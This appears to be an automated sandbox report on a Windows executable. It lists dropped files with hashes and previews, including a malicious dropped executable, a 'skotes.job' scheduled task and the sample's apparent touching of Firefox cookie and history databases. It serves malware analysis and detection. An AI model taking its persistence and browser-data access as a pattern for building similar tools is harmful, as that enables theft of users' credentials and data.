Encrypted:	false
SSDEEP:	48:8SddKT2K+HJidAKZdA1weh/iZUkAQkqehvy+2:8S67O9QKy
MD5:	F50782AADCE100070244D7B9ADEE9F3F
SHA1:	865D96C9206466723AFAEC7C213D3DE55CBE28CE
SHA-256:	F505232891798A3332C780F4C2C8386EC921D148D11263D9BC7D61FA785433DB
SHA-512:	987E0228BC1267563DE09953A5D61FA4E4CCACCA1D56ED446BAB9241BBD902DC1CCA63D1BE3AD5CD05D3D5219D25A285CE0BA4A5A5D5800658608956A8BEF626
Malicious:	false
Preview:	L..................F.@.. ...$+.,....+..j<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............g.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.000168768420987
Encrypted:	false
SSDEEP:	48:8xxddKT2KsHJidAKZdA14tseh7sFiZUkmgqeh7spy+BX:8xx670nLy
MD5:	F3CF070A517821860F6C3C3922528302
SHA1:	88C7545D14279EDE6BBE0DF6B486FD2142F83CD7
SHA-256:	7B134EB836F40AA3CBD181EB26897B120F735091F7710D8113BCB341380C52E6
SHA-512:	6C3FFFF1225EEE41B66475A39F88888E684C5264606B3C57B58546970DD6F174D9B7522A398175BCF5D87D44428443D342D271686C0A3B35F358C945ABFB59E7
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............g.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 22:11:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9851336146983805
Encrypted:	false
SSDEEP:	48:8tddKT2K+HJidAKZdA1vehDiZUkwqehzy+R:8t67Vxy
MD5:	5B7CA27B7CBE6B9F2AFAE1490826CA4D
SHA1:	6C58033D18896407E645A160B942DD6604723CF0
SHA-256:	DA5F2A96C5BA556C0D0BA935DACFE3F93A86CC587A0663E2FDF4A4B8763E6E68
SHA-512:	ADE7D2B23E24EFBC1B32A3A6A80D0D24D35731CBFF8787BFF1356365699FE463283BCDF6E73ECE150F3154E1588E754EFB3CD9494D7C96F6375C20C3825DC6DE
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Uc.j<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............g.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 22:11:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.973807840133539
Encrypted:	false
SSDEEP:	48:8AddKT2K+HJidAKZdA1hehBiZUk1W1qehVy+C:8A67F91y
MD5:	654D41F92C8BE8692B2281677084F815
SHA1:	2844CD1E420F9A7294BAC43C4125213B0CDA555A
SHA-256:	B4AB96E2F3150764DD42AA4ADAF857659FC294D26CE87CAACAE52152BF7891F1
SHA-512:	8C5CC0D172C861CE149C3F954417ECEA9A70DEC4075F20DBCB7C51E86AB927DD71C23434301A44E2D5C6B832F36F99D47344B79FDBDDA7E3100B7575ACD933C6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....~.j<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............g.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 22:11:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.98245526938774
Encrypted:	false
SSDEEP:	48:8NddKT2K+HJidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:8N67ZT/TbxWOvTbLy7T
MD5:	4520442E2FD7E3D86A2C8726D1B4AC1B
SHA1:	89EB907B4F4361CB2F6A3E446D87457E2C5069C7
SHA-256:	82A025E2232AFE45543C99760ADDCF36AA774CE24764E8DCE6A4205741FE9611
SHA-512:	A97EB63BE76913E61CD4D851DF251EB479BFCA234D0C335A2F65B641850730D683BFD55E713837B2846EA96DD2572011A0D4A8EAD30F6270D06CB4A74F791DFE
Malicious:	false
Preview:	L..................F.@.. ...$+.,......[.j<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............g.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJDAFIEHIEG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854976
Entropy (8bit):	7.950030470993736
Encrypted:	false
SSDEEP:	49152:44ylfSD3avYUIh0+OZiq+ZrodAR2u6EuY:47lfSDfUHwrodAR2u5F
MD5:	A68BD83F0CEDD6B76CCA22D5853EC168
SHA1:	CE0EAE756E594D55F9A3835FB46FA82895C12C76
SHA-256:	1C2F115D150D479F4EE5665477CCBFCB0EBDA06E7767C90E87F55F23BACB6125
SHA-512:	8441EB36925308B653CAF7ABDB34DBCB88799F14FD5FC9F11BA363206A46E83430C4CAF804631B23C5DCB710DA56BB691371FD5FC7A01461006387364BAA85F0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......H....................I.............................\|.I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...xkdkavkl.0...`0.....................@...ngrxgfaz......I......&..............@....taggant.0....I.."...,..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJDAFIEHIEG.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4308277287680804
Encrypted:	false
SSDEEP:	6:hyI57kbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBwzEt0:hRguQ1CGAFifXVBwIt0
MD5:	2F8F51A7AC78BB064390675F3954716E
SHA1:	9FF2231F06F671C70A7234466EF3B1BD7F4396DB
SHA-256:	61C2482B06A1237597D7ADA49CF6E79EEC53E3BD6719621228132214D917FC88
SHA-512:	B44D121B8E82ECB6B3AED0B5E8FAFDCF8B81D7EDF4B372A864F3045A008D7A0D967620113BD2BA5B54509E5C03B7C7D482E134E055C91613345E97889A20CA99
Malicious:	false
Preview:	....?...(..A.9..W$.}F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3907)
Category:	downloaded
Size (bytes):	3912
Entropy (8bit):	5.834050720783564
Encrypted:	false
SSDEEP:	96:8lIIMlimFd666664WD8xP3h8V9bsZJ48vI0Mg1ODsOcw5nTzKfE/Rfffffo:O8lFd666664N4L4MgcDsO91KfE/K
MD5:	FB8C2D880C3678CF12475D22CB47B93C
SHA1:	A7595319CD29EA140D6113863E8CE6D6912F8795
SHA-256:	A76B785CE36FE1C58EABDA393599B2F8DAAB4C669E8863A0212FCEEE042A27A2
SHA-512:	3B9FADD7C68B9354566279B727BA2B36A75F0007B132744CF4A22FF2D9574B8C76D352A40B6E2EBDE2DDEED916A645D8E09A4F767BDF5AA9D598C0DEEB016A4E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["adam warren oceano","40 cents off gas circle k","weather forecast snow storm","storybook vale disney dreamlight valley","michigan football bryce underwood","student loans","mcdonald mcrib sauce","duct taped banana artwork"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgovbS8wa3NybGhrEh5BZGFtIFdhcnJlbiDigJQgTXVzaWNhbCBhcnRpc3QygxFkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBREFRRUJBUUVBQUFBQUFBQUFBQUFEQlFZRUFnRUhBUC9FQURJUUFBSUJBZ1FFQkFRR0F3RUFBQUFBQUFFQ0F3UVJBQkloTVFVVFFXRVVJbEZ4QmpLQjhHS1JvYkhCMFJWUzRVTC94QUFZQVFFQkFRRUJBQUFBQUFBQUFBQUF

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435410483555101
Encrypted:	false
SSDEEP:	3072:fWkXyPqO7UX1Hme9kZbs4Voc5lSnXqwQ2i6o:fJyWFHrp4Voc5lSnawQ8o
MD5:	FAC5060674B186056F882E154A4B3216
SHA1:	133C6A32ED566AF1ADE5B9124E6837665A224956
SHA-256:	E8963AF4D994D17A48071A4A192D5F35A8C0B4032C816876095C52887C38AEDA
SHA-512:	12F7796ACB9B1ECD2524FA038834E26623100404D684F91AD506793A93486B8F0C4F6D421C0E884DF7CC28B190697C572419F38BD96F963FFBF34149A37155E7
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943999728103011
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'774'080 bytes
MD5:	e2fef9de68b89d7bb679918977c0f089
SHA1:	19a93a049dce3c285f508aa6ead57637149917ef
SHA256:	f46ec872bb777f2298dfc842b7ee4091e146ce829cb9b4174275bc393ffdfbb9
SHA512:	9fc1d0301efb1d7c927713a18205a482266f17ebf207432a028cb4eda422a1f149327696d6d8f0aca0b20c4e9608cd9c93d953ccd0b612bbf457b203392069b6
SSDEEP:	49152:R3DalpcZooZro8/WqAkSbG+CEHZMd4FGL:R3DalIoTqAkDUJQ
TLSH:	A68533B72500A9EAC41B113CF7BFF5025768ED9E0E40C68BB66356015BB5F72EAD3086
